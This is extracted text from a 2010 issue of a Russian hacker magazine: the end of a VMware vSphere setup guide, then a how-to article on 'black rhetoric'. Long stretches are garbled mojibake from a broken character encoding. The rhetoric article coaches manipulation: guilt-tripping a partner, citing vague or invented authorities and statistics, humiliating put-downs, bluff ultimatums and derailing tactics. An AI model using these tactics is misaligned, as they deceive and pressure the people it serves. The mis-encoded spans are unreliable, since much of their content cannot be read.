ëîãèí/ïàðîëüäëÿ óïðàâëåíèÿ; ïîäêëþ÷àåìñÿ, ïðèíèìàåì ñåðòèôèêàò è ïîëó÷àåìèíôîðìàöèþ î ñèñòåìå. Ïðè íåîáõîäèìîñòè çäåñü æå ìîæíî äîáàâèòüëèöåíçèþ è ââåñòè äàííûå îá óçëå. Íåêîòîðîå âðåìÿ ïðèäåòñÿ ïîäîæäàòü,ïîêà õîñò áóäåò äîáàâëåí. Äàëåå âûáèðàåì õîñò, â îêíå Summaryâûâîäÿòñÿ âñå äàííûå ïî íåìó. Ïåðåéäÿ â îêíî Configuration, ïîëó÷àåìXÀÊÅÐ 08 /139/ 10


INFOКлиент управления vSphere ClientÏîäñ÷åò íåîáõîäèìîñòèïåðåõîäàíà VMÏåðåõîä ñ ôèçè÷åñêèõ ñåðâåðîâ íà âèðòóàëüíûåñâÿçûâàþò, â ïåðâóþ î÷åðåäü, ñ âîçìîæíîñòüþñýêîíîìèòü. Íî îáîñíîâàòü íåîáõîäèìîñòü íàïàëüöàõ ïåðåä øåôîì íå âñåãäà ïðîñòî. ÑïåöèàëüíûåTCO/ROI-êàëüêóëÿòîðû, ïðåäëàãàåìûåðàçðàáîò÷èêàìè VM, ïîìîãóò áûñòðî è íàãëÿäíîñäåëàòü âñå íåîáõîäèìûå ðàñ÷åòû (TCO — TotalCost of Ownership — ñòîèìîñòü âëàäåíèÿ èíôðàñòðóêòóðîé,ROI — Return on investment — êîýôôèöèåíòðåíòàáåëüíîñòè èíâåñòèöèé). Êàëüêóëÿòîðîò VMware ðàñïîëîæåí ïî àäðåñó www.vmware.com/calculator è ïîêàçûâàåò, ñêîëüêî áóäåò ñýêîíîìëåíîíà ïîêóïêå æåëåçà, ýëåêòðîýíåðãèè, è íàïîìèíàåòî äðóãèõ ïðåèìóùåñòâàõ, êîòîðûå äàåòâèðòóàëèçàöèÿ: íàäåæíîñòü, áåñïåðåáîéíîñòü,óïðîùåíèå îáñëóæèâàíèÿ.âîçìîæíîñòü èçìåíèòü íåêîòîðûå íàñòðîéêè: ïàðàìåòðûñåòè (ïîäêëþ÷åíèå VMotion, iSCSI, NFS è äðóãèå), âèðòóàëüíîãîñâè÷à, õðàíèëèù äàííûõ è òàê äàëåå. Ïîñëå äîáàâëåíèÿíåñêîëüêèõ õîñòîâ ñòàíåò äîñòóïíà âîçìîæíîñòü ñîçäàíèÿêëàñòåðà. Âûáèðàåì â êîíòåêñòíîì ìåíþ ïóíêò New Cluster,âèçàðä ïîïðîñèò ââåñòè èìÿ áóäóùåãî êëàñòåðà. Ïðè ïîìîùè÷åêåðîâ óñòàíàâëèâàåì ïîääåðæêó HA (High Availability)è DRS (Distributed Resource Scheduler). Øåäóëåð ïðåäñòàâëÿåòñîáîé ïðîñòîé áàëàíñèðîâùèê, êîòîðûé ïîñòîÿííîîòñëåæèâàåò èñïîëüçîâàíèå ðåñóðñîâ è ïåðåðàñïðåäåëÿåòâû÷èñëèòåëüíûå ìîùíîñòè â ïóëàõ ðåñóðñîâ â ñîîòâåòñòâèèñ èçìåíÿþùèìèñÿ ïîòðåáíîñòÿìè âèðòóàëüíûõ ìàøèí.Åñëè îí àêòèâèðîâàí, â äàëüíåéøåì ìàñòåð ïðåäëîæèò âûáðàòüîäèí èç âàðèàíòîâ ìèãðàöèè VM (Manual, Partially, Fullautomated) è ìåòîä ìèãðàöèè (îò Conservative äî Aggressive).Íàñòðàèâàåì óïðàâëåíèå ïèòàíèåì (DPM), àêòèâèðóåììîíèòîðèíã õîñòîâ, âêëþ÷àåì EVC (Enhanced VMotionCompatibility), îïðåäåëÿåì ìåñòî õðàíåíèÿ ñâîï-ôàéëà.Ê ñëîâó, ñóòü EVC î÷åíü ïðîñòà. Êàê èçâåñòíî, ïðîöåññîðûáûâàþò ðàçíûå, è ãîñòåâàÿ ÎÑ, óñòàíîâëåííàÿ â ñèñòåìå,ìîæåò èñïîëüçîâàòü ðàçíûå ôèøêè âðîäå SSE. Íî ÷òî áóäåò,åñëè ýòó ÎÑ âçÿòü è ïåðåíåñòè ïðè ïîìîùè VMotion â äðóãóþñèñòåìó, â êîòîðîé ñîâñåì äðóãèå òåõíîëîãèè? Âîò EVC èïðèâîäèò âñå ê åäèíîìó çíàìåíàòåëþ, ïðîñòî îòêëþ÷àÿ«ëèøíåå», â ðåçóëüòàòå ïåðåíîñ VM ïðîõîäèò ãëàäêî. Äîñòóïíûäâà âàðèàíòà âêëþ÷åíèÿ EVC — äëÿ AMD- è Intel-õîñòîâ.Ïîñëå âûáîðà ïóíêòîâ áóäåò ïîêàçàí ñïèñîê ñîâìåñòèìûõïðîöåññîðîâ. Õîòÿ, åñëè â êëàñòåðå âñå ñåðâåðà îäèíàêîâû,Добавляем лицензиюvSphere дает полезные подсказки по дальнейшимдействиямEVC ìîæíî ñîâñåì îòêëþ÷èòü. Êëàñòåð ñîçäàí, íî õîñòû âíåãî ìû åùå íå äîáàâèëè. Ýòî î÷åíü ïðîñòî: áåðåì è òàùèììûøêîé. Ñðàçó æå ñòàðòóåò íîâûé ìàñòåð, â êîòîðîì ìîæíîâñå îñòàâèòü ïî óìîë÷àíèþ, æìåì äâà ðàçà «Next» è àíàëîãè÷íîäîáàâëÿåì îñòàëüíûå õîñòû.Ïîñëå âñåõ îïåðàöèé ñòàíîâèòñÿ äîñòóïíûì ïóíêò «DeployOVF Template», ïîçâîëÿþùèé äîáàâèòü øàáëîíû âèðòóàëüíûõìàøèí â ôîðìàòå Open Virtualization Format êàê ñëîêàëüíîãî äèñêà, òàê è ÷åðåç èíòåðíåò (êñòàòè, òàêîéîáðàç ìîæíî ñîçäàòü ñàìîñòîÿòåëüíî, âîñïîëüçîâàâøèñüóòèëèòîé VMware OVF Tool). Ïðîöåññ äîáàâëåíèÿ óïðîùàåòî÷åðåäíîé ìàñòåð. Äîáàâëåííóþ ÎÑü ñðàçó æå ìîæíîçàïóñòèòü è ïðîâåðèòü â ðàáîòå. Îñòàëîñü ðàñïðîñòðàíèòüäîáàâëåííûå îáðàçû ÎÑ íà õîñòû. Äëÿ ýòîãî âûáèðàåì â êîíòåêñòíîììåíþ ïóíêò «Migrate» è â îêíå ìàñòåðà óêàçûâàåìõîñò, íà êîòîðûé åãî íåîáõîäèìî ñêîïèðîâàòü.Ó÷èòûâàÿ òî, ÷òî îáëà÷íûå ñèñòåìû ìîãóò îáñëóæèâàòüñÿáîëüøèì êîëè÷åñòâîì àäìèíîâ ñ ðàçíûìè ïðàâàìè, èõæåëàòåëüíî êàê-òî ðàçäåëèòü ïî âîçìîæíîñòÿì.  vSphereèñïîëüçóåòñÿ ðîëåâàÿ êîíöåïöèÿ, ïîñëå óñòàíîâêè â«Administration Roles» äîñòóïíî 9 øàáëîíîâ ðîëåé, ïîçâîëÿþùèõâûáðàòü è çà îäèí êëèê íàçíà÷èòü þçåðó åãî ïðàâà.Ïðîñòîé ìàñòåð ïðåäîñòàâëÿåò âîçìîæíîñòü ñîçäàòü ëþáîåêîëè÷åñòâî íîâûõ ðîëåé.ЗАКЛЮЧЕНИЕ ðàìêàõ îäíîé ñòàòüè íåâîçìîæíî ðàññêàçàòü îáî âñåõâîçìîæíîñòÿõ ñòîëü ìîùíîãî ïðîäóêòà. Çà áîðòîì îñòàëèñüòàêèå ôóíêöèè êàê Fault Tolerance (VMFT, çàïóñê âòîðîéêîïèè âèðòóàëüíîé ìàøèíû, íà êîòîðóþ ïðîèñõîäèò ïåðåêëþ÷åíèåâ ñëó÷àå ïðîáëåì ñ îñíîâíîé VM), Storage vMotion(SVMotion, «ãîðÿ÷èé» ïåðåíîñ ôàéëîâ äèñêîâ VM ìåæäóìàññèâàìè õðàíèëèù), ãîðÿ÷åå äîáàâëåíèå óñòðîéñòâ,óïðàâëåíèå ðåñóðñàìè è ìîíèòîðèíã ðàáîòîñïîñîáíîñòè.Çäåñü òåáå íà ïîìîùü ïðèäåò ìíîãî÷èñëåííàÿ äîêóìåíòàöèÿè ïîÿñíÿþùèå âèäåîðîëèêè (vmwareelearning.blip.tv, youtube.com/user/VMwareKB, youtube.com/user/VMwareELearning). zinfo• vSphere доступенв трех редакциях:Standard, Advancedи Enterprise. Длянебольших организацийпредлагаютсявыпуски Essentialsи Essentials Plus,обеспечивающиевиртуализацию трехсерверов.• В последней(четвертой) версиикомпонент vNetworkнаучили регулироватьисходящийтрафик виртуальноймашины в сетьи входящий трафикиз сети к виртуальныммашинам длягрупп портов (такназываемый двунаправленныйшейпинг).• В документации насайте можно найтитаблицы сравненияvSphere с другимипродуктами виртуализациипо стоимостии функциональности.• Бесплатный вебинструментVMwareGo (go.vmware.com)позволяет быстроперейти к использованиюгипервизораVMware ESXi длявиртуализации физическихсерверовв небольшой компании.• Перед установкойvSphere следует разрешитьпрохождениепакетов по портам 80,389, 443, 636, 902/903,8080 и 8443.XÀÊÅÐ 08 /139/ 10 135


UNITSОксана «Oriyana» Андреева oriyana@xpsycho.ruPSYCHO:ÀÒÀÊÀ ÑËÎÂÎÌ×åðíàÿ ðèòîðèêà â ïðîöåññå óáåæäåíèÿКак-то повелось с незапамятных времен, что риторика — это уделмастеров слова: ораторов, юристов, коучей, актеров. Обычная риторика— да, там есть свои правила, и чтобы иметь право называтьсяспециалистом, надо их учитывать. А вот нам, простым смертным,в этом плане повезло больше — у нас есть более простой и, в то жевремя, более изощренный метод воздействия на аудиторию. Эточерная риторика, и здесь одно правило — нет никаких правил.Êîìó è äëÿ ÷åãî ýòî íóæíî?Если ты думаешь, что по жизни никогоубеждать не нужно — считай, тебе повезло;возможно, даром внушения ты обладаешьлучше, чем даром убеждения. Дальше можешьне читать — иди и наслаждайся своимиталантами :). Если ты уже слышал это слово,но не знаешь, где и как его применить, сейчася открою тебе глаза.Итак, где может понадобиться убеждение:• уговорить девушку на …. (выбор за тобой :) );• запудрить мозги преподу на экзамене;• впарить чукче холодильник (или какомунибудькулхацкеру — троян);• убедить кого-то в интернете, что он не прав;• обоснованно объяснить шефу, почему тебенужно повышение зарплаты и личный кабинет;• и еще куча бытовых мелочей типа выдвижениясвоей кандидатуры на депутатскую должностьили организации революции. По сути,везде, где нужно добиться своей цели речью,можно применять черную риторику.Итак, если хоть один пункт тебя заинтересовал— поехали.×åðíàÿ ðèòîðèêàТеоретически это использование различныхречевых приемов с целью убедить, направитьразговор в нужное русло, подвести собеседникаили публику к требуемому выводу.Практически она играет не только словами,но и мыслями, представлениями и даже мировоззрением.Ее приемы дезориентируют,136сбивают с толку, вызывают всплеск эмоций,увлекают в создаваемые образы, открываютновые горизонты и разрушают привычныестереотипы, развенчивая разумные доводыи создавая из абсурдных фактов логическичеткую картину. Отличие черной риторики отбелой в том, что белая — это убеждение оппонентас соблюдением правил спора, а чернаянарушает все возможные рамки. Цель одна— во что бы то ни стало достичь требуемогорезультата.Ïðèåìû ÷åðíîé ðèòîðèêèÏîâòîðåíèå íàèáîëååâàæíûõ ìîìåíòîâПовторяй свою идею как можно чаще — этопомогает информации прочно осесть в сознаниии за его пределами. Только не надо талдычитьодну и ту же фразу — это выглядит скучнои подозрительно. Прояви фантазию: возьми,в конце концов, словарь синонимов и играйсяими, как хочешь. Например, твоя девушкахочет свадьбу, а ты еще не готов; твоя задачаубедить ее подождать неопределенное количествовремени. Сначала выбери концепцию,на основе которой будешь строить убеждение,например, это будет идея «Официальные отношенияразрушают чувства». Начинаем. Длязатравки подойдет «Сколько пар распадаетсяпосле узаконивания отношений…» (предварительнонайди примеры, чтобы убеждениене было голословным. Факты — твое оружие,она-то еще не успела так основательно подготовитьсяк дебатам). Дальше подключайавторитетов: «Ученые проводили исследования,которые показали, что после свадьбыподавляющее большинство пар теряетромантику в отношениях» или «Почитайлюбой учебник по семейной психологии.Специалисты пишут, что в течение первогогода после женитьбы распадается около 30%пар». Следующий шаг — призыв к логике(только не переборщи, она ведь девушка):«И это понятно, ведь пока мы не скрепленыштампом, мы можем потерять друг друга, ипоэтому дорожим и пытаемся быть интересными.Как только терять будет нечего — пропадети желание что-то делать ради любимогочеловека». Не забудь поиграть с чувствомвины: «Ты меня будешь любить, только еслия официально на тебе женюсь?». И в конце— тяжелая артиллерия: «Я слишком люблютебя, чтобы потерять из-за какой-то печати на10-й странице паспорта…». После этого, еслиона сразу не бросится тебе на шею со слезамиблагодарности, просто молча выйди хотя бына минутку — она ей понадобится для того,чтобы побыть наедине со своими мыслями ипереварить услышанное. Это очень хорошийманипулятивный прием.Как видишь, у всех тезисов смысл одинаковый,но поданы они по-разному: один апеллируетк логике, второй — к эмоциям, третийзадейст вует доверие к авторитетам. Кстати,если оперативная память подруги медленнее,чем память твоего компа — подавай ейXÀÊÅÐ 08 /139/ 10


информацию с перерывами: один утром,второй за ужином, третий при общении вкомпании…Âîïðîñû è îòâåòûЕсли ты видишь, что собеседник откровеннолукавит, прямо скажи: «Представь себя намоем месте: ты бы поверил тому, что и как тыговоришь?».Почаще задавай уводящие в сторону вопросы— чем чаще оппонент будет отвлекаться, темтруднее ему будет сконцентрироваться на внушениисвоей идеи. Как вариант: можно застопоритьсяна какой-нибудь неправдоподобнойили неоднозначной мелочи и долго пытатьсяприйти к истине — в итоге конечная цель егоречи будет либо отсрочена, либо забыта.Если же такие вопросы задают тебе, постарайсявернуть оппозиционера в русло: «Я отвечуна твои не относящиеся к теме вопросы влюбое время, как только мы решим поставленныена данный момент задачи. А сейчас давайсконцентрируемся на них». Или «Ты задалэтот вопрос, чтобы сменить тему разговора,поэтому я его пока проигнорирую».Или «Прежде чем отвечать на вопрос, давайопределимся, что ты подразумеваешь под …» идальше перечисляй все понятия, озвученныев вопросе.Можно уходить от ответа, откладывать его, выдвигатьвстречные вопросы или обвинения.Ñîçäàíèå ïðîñòðàíñòâàЕсли между тобой и собеседником нетпротивостояния, и ты просто хочешь его вчем-нибудь убедить, увлечь, создай образ,в котором ты видишь и чувствуешь каждуюдеталь. Здесь не нужно никого убеждать в привычномсмысле слова; позитивный результатдостигается за счет «соблазнения». Другимисловами, при прямом убеждении ты аргументамипринуждаешь человека сделать что-то;в случае с увлечением в созданное тобой пространство— ты делаешь так, что человек самзахочет сделать это.Èñïîëüçîâàíèåñïåöèôè÷åñêîéòåðìèíîëîãèèВо-первых, запутывает собеседника. Мало ктоможет сказать: «Стоп-стоп, я не понял, разъяснизначение этого термина». Даже если кто-тои осмелится, то 1-2 раза смотрится нормально.Но если он будет переспрашивать каждые 10минут — это выглядит смешно.Во-вторых, это подчеркнет твой профессионализми компетенцию в обсуждаемом вопросе.Обычные слова в иностранном варианте тожерулят. Под словами иностранного происхожденияя имею в виду не «сенкс, плиз, рандом,сорри, хай, тру», а что-то более экстравагантное,полилитеральное, комплицирующеесемантическую и лексическую адаптацию индивидуумав обсуждаемых вопросах, например,бизнес эвалюэйшн или эппрайзал аппроуч.Надеюсь, ты понял. Ибо, если не понял — тоты на собственном примере ощутил, как будетXÀÊÅÐ 08 /139/ 10ÔÐÀÇÛ, ÓÍÈ×ÒÎÆÀÞÙÈÅ ÑÎÁÅÑÅÄÍÈÊÀВ арсенале любого «черного оратора» должны быть фразы, с помощью которых можносмутить, обескуражить, заставить замолчать. Здесь я приведу несколько примеров, а дальшепо аналогии составишь список сам.— Это самая дурацкая идея, которую я слышал за последние 3 часа!— Не стыдно в Вашем возрасте (положении) говорить такие вещи?— От специалиста Вашего уровня мы не ожидали услышать такие непрофессиональныепредложения…— Вы сами хоть понимаете, что Вы только что сказали? Потому что никто не понял…— Как Вы пришли к такому ошибочному выводу?— Вы это сейчас серьезно сказали…?— В этой теме Вы разбираетесь очень плохо; зато, наверное, хорошо играете в бильярд.— И что?чувствовать себя твой оппонент, когда ты применишьприем использования специфическойтерминологии.ÑîôèñòèêàОчень радует способ обхода объективнойреальности с помощью псевдологическихконструкций, другими словами, «гибкостьпонятий, примененная субъективно» © Ленин.Применяя софистику, ты можешь обосновать,что черное — это белое, и наоборот. Самыйпростой и популярный пример софизма: «То,что ты не терял, ты имеешь. Рога ты не терял.Значит, у тебя есть рога». Вроде бы все логично,но в итоге — ерунда какая-то. Логичными всофизмах доводы кажутся потому, что они вырваныиз контекста, или закономерности однойгруппы применяются к другой. В основе такойлогической ошибки лежит непроверенностьодного из суждений, и в дальнейшем результатлогической цепочки противоречит истине.Часто к софистическим ловушкам прибегаютжурналисты (для создания слона из мухи илисенсации из пустого места) и адвокаты (дляоправдания подзащитных). Один из наиболееярких случаев — это судебное разбирательствопо делу скандала Киркорова и Ароян (да-да,тот, после которого журналисты начали ассоциироватьсяс розовыми кофточками). Послепривлечения филологов и лексикографоввыяснилось, что оскорбление вовсе не былооскорблением. В заключении фигурировали 5пунктов доказательств: 1. Оскорбление — эторечевой акт с использованием неприличныхслов, направленный на конкретное лицо иприписывающий ему отрицательную характеристику.В следующих четырех пунктахобосновывалось, что выражения «раздражаютсиськи, кофточка и микрофон», «да мнепо-х...», «п..да» не являются приписываниемнегативной оценки, а если и являются, то этовыражено в приличных словах, а неприличныеслова не адресуются конкретному лицу,являясь всего лишь рифмой к реплике жертвы,также толкуются двояко, а часть из них вообщепростонародные, а не оскорбительные…Логическая ошибка состоит в том, что в понятиеоскорбления включены все перечисленныепризнаки (отрицательная характеристика, неприличныеслова и т.п.) в совокупности, и, разони были по отдельности, то в целом оскорблениемне являются.Однако обвинитель оказался не дураком исразу распознал злоупотребление софизмами.Он доказал псевдонаучность каждого из приведенныхдоказательств, под конец парировавтем, что оскорбление в виде плевка в лицо несодержит ни одной из перечисленных характеристик.В подобного рода спорах кто умнее— тот и прав :).137


UNITSÓÁÅÆÄÅÍÈÅ VS ÂÍÓØÅÍÈÅРезультат этих двух видов воздействия один и тот же — добиться от человека чегото.В чем разница? Убеждение — воздействие на сознание людей, обращенное ких собственному критическому восприятию. Внушение — воздействие на сознаниечеловека, при котором происходит некритичное восприятие получаемой информации.Как видишь, дело в критичности/некритичности восприятия. В дальнейшем установки,внедренные с помощью убеждения, контролировать легче, чем те, что были привнесеныспособом внушения.Ìîë÷àíèåêàê ñèëüíåéøèé äîâîäИногда просто осмысленный взгляд и многозначительноемолчание более эффективны,чем красноречивые доводы. Молчание — этовообще сильное оружие в любом разговоре.Когда ты молчишь, противник не знает, чтодумать: ты согласен или нет, готовишь нападениеили сканируешь его речь и ищешьошибки. У многих людей есть хроническаянепереносимость длинных пауз, они во чтобы то ни стало пытаются ее заполнить чемугодно, при этом могут проговориться и выдатьскрываемую информацию или необдуманносогласиться на невыгодную для себя позицию.Но то, что они выпадут на стрем илипочувствуют себя неловко — это 100%. Также,если у тебя нет аргументов, молчание можетразрулить ситуацию: при длинной паузе у тебяесть время на обдумывание и амортизацию,а у собеседника — время засомневаться всказанном и прийти в замешательство, вызванноетвоим молчанием. Что касается пауз— они помогают логически разделить текст идают слушателю время на отдых и усвоениеинформации, речь не так нагружает. Перегибатьпалку с паузами не стоит — это сильнонапрягает.Îáëèòü ìîëîêîìè ïîäæå÷üДругими словами — сбить с толку. Вот несколькодейственных приемов.• Задать много вопросов сразу: «Как работаетэта программа? Кстати, на нее есть лицензия?А то же самое, но на Delphi, напишете?» Челтеряет ся и не знает, на какой вопрос ему отвечатьв первую очередь.• Чтобы сбить выступающего с мысли, отличнокатит прием несоответствия слов иреакции на них. Одни ребята так прикалывались:они ходили на пресс-конференции,презентации, и когда наступало времяжурналистов, с умным видом и блокнотикомзадавали вопросы типа «Человек зачас выпивает 2 литра пива. За сколько онвыпьет бочку, если не учитывать время,необходимое ему, чтобы сходить в туалет?»И включали секундомер. Вид лица офигевшегооратора стоит того, чтобы рискнутьпопробовать то же самое.• Перебивание. Когда видишь, что человексделал вдох, чтобы начать речь, опереди его изадай какой-нибудь несущественный вопросили кинь забавную реплику.Ñìåíà ðîëåéПри общении каждый из нас временно играеткакую-то роль: продавца, обвиняющего, лидера,человека, зависимого от чужого решения.Второй, соответственно, подстраивается подвзаимодополняющую роль. Кстати, не факт,что ты сам выбираешь позицию — ее можетвыбрать более активный собеседник, а тебе ужеостанется только подзеркаливать его. И вот, выпо накатанной отыгрываете свои сценарии (почитайпо этой теме Эрика Берна «Игры, в которыеиграют люди»); шаг влево — шаг вправо недопускается, так как это уже будет другая игра.И многие из нас играют невыгодные для нихроли, даже не представляя, что можно простосменить образ или игру, осознавая, что делаешьв данный момент. При этом «напарник» по игре,если он менее осознан и действует на автомате,после некоторого замешательства перейдет вдругой образ, предложенный тобой. Например,у тебя есть какая-нибудь созданная собственноручноотличная программа, и есть клиент,который вроде бы не против ее купить, но он тянет,сомневается… Другими словами, вы сейчасиграете в игру «продавец — покупатель», где тызанимаешь пассивную позицию — ждешь, а онактивную — решает, брать или нет. А что мешаеттебе сменить роли? Вместо того, чтобы ждатьего решения, ты сам ставишь условия: «Хм…Это приватный софт. Не знаю, могу ли я бытьуверен, что ты не сольешь его в паблик?». Ипусть теперь он доказывает, что «достоин» этойпрограммы. Прием работает, если у тебя естьвозможность решать или выбирать.Ïðèöåë íà öåëåâóþàóäèòîðèþКогда ты строишь речь, чтобы убедить кого-тов чем-то, всегда учитывай то, к кому обращенытвои слова — для каждой цели выбирай своеоружие. Например, молодые и среднего возрастаженщины любят флирт и заигрывания— кто-то будет кокетничать в ответ, кто-то будетстроить из себя недотрогу, но всем им это нравится.Для людей с операционным мышлением(программисты, IT-шники) создай идеальнуюсхему, так как расписывание красочныхобразов — не факт, что подействует; нужныисходные данные, цель, пути достижения иалгоритм действия предложенной схемы.Чтобы добиться поддержки пенсионеров, тебенужен образ внешнего врага, с которым вы всевместе будете фанатично бороться и выводитьна чистую воду. Пенсионеры от этого реальнотащатся.Áëåô + óëüòèìàòóìЭтот прием лучше не использовать где и какпопало, ведь если кто-то после спора решитпроверить истинность твоих угроз, ты рискуешьнадолго приобрести статус балабола.Он может сработать хорошо, но только приподходящих обстоятельствах, например, еслиты видишь, что противник сомневается и неуверен в своей точке зрения (а это уже признактого, что уязвимости в позиции есть), еслиты точно знаешь, что оппонент не владеетинформацией.Приведу пример, описанный автором книги«Черная риторика» Карстеном Бредемайером.Он должен был проводить для сотрудниковкомпании семинар по внедрению новойстратегии. Все собрались в пятницу на выезде,но оказалось, что финансовый директор, планировавшийвнедрить стратегию, был уволен.Работники обрадовались, что можно будет пораньшеуйти домой; особенно бушевали двоелидеров, подбивавших всех на «революцию».Они намекали на то, что если коуч настоит напроведении семинара, то тренинг получитплохую оценку, что негативно скажется наего карьере. Бредемайер предложил сделатькофе-брейк. Во время перерыва он отвелпарочку зачинщиков в сторону и сказал: «Итак,дорогие мои, сейчас мы сыграем партию впокер. Вариант первый: мы проводим тренинг,вы пишете на меня жалобу или негативнуюрецензию, и все разъезжаются по домам.В свою очередь, я тоже приезжаю домой, впонедельник утром звоню вашему директору— предположим, я с ним хорошо знаком лично,— и сообщаю о двух сотрудниках, пытающихсяподорвать репутацию и финансовое развитиефирмы в угоду своим амбициям. Второйвариант: мы проводим тренинг так, как былозапланировано, и я забуду о вашем поведении.Но при этом вы пообещаете мне поддержку исодействие во время семинара. Итак, черездве минуты мы либо сидим в аудитории, либоразъезжаемся по домам. Решение за вами».На то время автор истории не был знаком сдиректором, он познакомился с ним тольков понедельник, после удачно проведенного семинара.Но тогда, в критический момент, никтоэтого проверить не мог.Лучше, если при постановке ультиматумав выгодном для тебя варианте будет такжечто-то привлекательное для твоего противника,будет легче склонить его к нужному теберешению.И еще: чем раньше ты начнешь свой блеф —тем лучше, так как соперник не успеет подготовитьсяинформационно и морально.×åðíàÿ ðèòîðèêàâ ïðîôåññèîíàëüíîéïðàêòèêåЧаще всего используют приемы убежденияюристы, коучи, консультанты, психологи. Давайпромониторим основные принципы, которымони следуют.138 XÀÊÅÐ 08 /139/ 10


Если хочешь быть правильно понятым, не забывай о целевой аудиторииНапример, в юридической практике естьнегласные правила, по которым адвокат илипрокурор должен строить свою речь (думаю,они пригодятся и тебе):• выгодная аргументация событий, но обязательнос фактами, на которые можно опираться,пусть даже они будут малозначительными;• речь должна содержать одну стержневую идею,а все остальные факты — вращаться вокруг нее;• ориентация на судью: оптимальное соотношениепауз, повторов, равномерный темп, четкаяи лаконичная речь, в меру эмоциональная;метафоры допускаются в личных делах, если жедело рассматривается в хозяйственном суде,то они противопоказаны, так как могут бытьистолкованы превратно;• аргументация должна быть построена так,чтобы другая сторона не могла их опровергнуть;пусть аргументов будет меньше, но они должныбыть весомыми. А самый основной подаватьтогда, когда судья готов будет его воспринять.ÊèíåìàòîãðàôВот живой пример из фильма «Здесь курят».Первая сцена: ведущая телешоу показываетлысого онко-больного мальчика со словами«Он больше не считает, что сигареты — этокруто». Эмоциональное якорение — «сигареты= рак», в итоге — «посмотрите, к чему привелокурение». В одном из предыдущих номеров мыговорили о том, что при сильном эмоциональномвоздействии логика перестает работать.Рядом сидят представители организаций,борющихся с курением и ратующих за здоровыйобраз жизни. Как выкручивается Аарон Экхарт,главный герой, PR-агент крупной табачнойкомпании? «Нашей компании невыгодно, чтобыэтот мальчик умирал. Более того, мы потеряемпокупателей. Наша выгода в том, чтобы мальчикжил долго и курил». Включается логика… А ведьдействительно, невыгодно. Отличная подменасмыслов: «Табачная компания несет смертькурильщикам» против «Табачной компаниивыгодно, чтобы курящие жили долго». Ктовозразит? :) Суть приема в том, что абстрактносоциальнаяустановка была разбита наглядными логичным аргументом. «Кроме того, — продолжаетвеликий оратор, — смерть этогоребенка выгодна организациям здоровья — длясаморекламы — они получают на этом деньги. Амы в ближайшее время собираемся запуститьпятидесятимиллионную кампанию по отучениюдетей от курения. Думаю, все со мной согласятся,что нет ничего важнее, чем здоровье нашихдетей». Это вообще жесть! Теперь оказывается,что организация по заботе о здоровье — этоглавный враг здоровья, а табачная компаниязаботится о будущем американских детей.Приемы:• «думаю, все со мной согласятся» — автоматическоеприсоединение мнения толпы;• демонстрация заботы о здоровом будущемдетей. Очень благородная цель, социальныенормы ее поощряют, естественно, публика присоединиласьк его мнению;• логически (не фактически) подкрепленноеобвинение в адрес оппонента. Кстати, противникничего кроме «Да как Вы смеете…»возразить не смог;• заявление о 50-миллионной кампании оказалосьблефом, но обещание головокружительногоуспеха («Пресса уже в восторге. Вы мне еще «спасибо»скажете!») помогло переубедить босса.×óòü âûøå, ÷åì ïðîñòîñëîâà. Èãðà ñìûñëàìèКаждый профессиональный психолог (а теперьи ты) знает, что почти любое явление или образимеет не одну, а две или даже больше сторон:белую, черную и массу других промежуточныхоттенков. Вот банальный пример: слушатьсяродителей — это хорошо или плохо?Первая точка зрения — хорошо:1. родители плохого не посоветуют;2. у родителей больше опыта;3. родители несут ответственность за своих детей.Вторая точка зрения — плохо:1. родители знают, что хорошо для них, но откудаони знают, что хорошо для тебя?2. у родителей свой опыт, он был полезен притех временах и обстоятельствах, в которыхжили они. Родители уверены, что в нашем векепосещение библиотеки принесет тебе большепрофита, чем прохождение тренинга по пикапу?3. постоянно перекладывая ответственностьза детей на себя, родители рискуют воспитатьвзрослого ребенка, не способного шагу сделатьсамостоятельно и отвечать за свои поступки…Если ты до сих пор не понял, к чему я клоню,скажу прямо — любой аргумент оппонента тыможешь рассмотреть с другой точки зрения,придать ему другой смысл, и тогда глобальныевопросы окажутся по сути незначительными вконтексте твоей перспективы (аргумент «Высшееобразование необходимо!» — контраргумент«Необходимо образование или знания?»);негатив превратится в позитив (аргумент«Кризис, все плохо» — контраргумент «Кризис— это всегда начало нового этапа развития»или «Наконец у нас есть время подумать, тем лимы занимаемся, чем хотим»).Кстати, политики и журналисты часто используютэтот хитрый прием, подменяя привычныенам стереотипы новыми.AOL — создатели роликов «Internet is a goodthing» и «Internet is a bad thing» (поищи наYouTube по одноименному названию) показалинам, как легко можно манипулироватьнашим мнением.Интернет — это хорошо. Столько информации,сколько хранится в интернете, не найти ни водной библиотеке, это мощная база для образования.Все новости мы узнаем оттуда, в томчисле, если жертвам какого-либо бедствиянужна поддержка; часто они получают ее благодаряогласке в Сети. Свобода слова — этоогромное преимущество. Мы можем свободнообщаться и видеть друг друга, находясь наполярных точках планеты; сколько пар былосоздано благодаря интернету… Это часть нас.Интернет — это плохо. Благодаря интернетукто-то планирует и совершает преступные действия;собирая данные о жертве, получает возможностьдля нанесения сокрушающего удара.В интернете можно купить все, что угодно, втом числе детей или человеческие органы длятрансплантации. Благодаря ему мы находимсяпод постоянным наблюдением веб-камер, ктото,возможно, читает нашу переписку, где мыговорим о личном… Сеть забирает нашу жизнь,превращая ее в очередную матрицу.На самом деле, если ты научишься игратьсмыслами, тебе не нужны навыки красноречия,— иногда мировоззрение можно сломать однимпродуманным и вовремя сказанным словом. çàêëþ÷åíèåЧерная риторика — это не просто набор приемов,применяя которые, ты сможешь убедитьПапу Римского прийти на вечеринку к сатанистам.Это опыт, приобретенный методом проб иошибок; нужно чувствование собеседника, видениеего слабых и сильных мест, уязвимостеймировоззрения, нужен развитый интеллект,тренировка, оттачивание мастерства. Чтобыстать мастером слова и мысли, читай литературудля журналистов, PR-щиков (особенночерный PR, Антон Вуйма), книги по искусствуубеждения, смотри фильмы и запоминай наиболеепонравившиеся амортизации, бери ихна вооружение. И каждый день реализуй это напрактике. При таком подходе успех постепеннопридет. А еще читай ][ — у многих авторов можнопоучиться красноречию :).zXÀÊÅÐ 08 /139/ 10 139


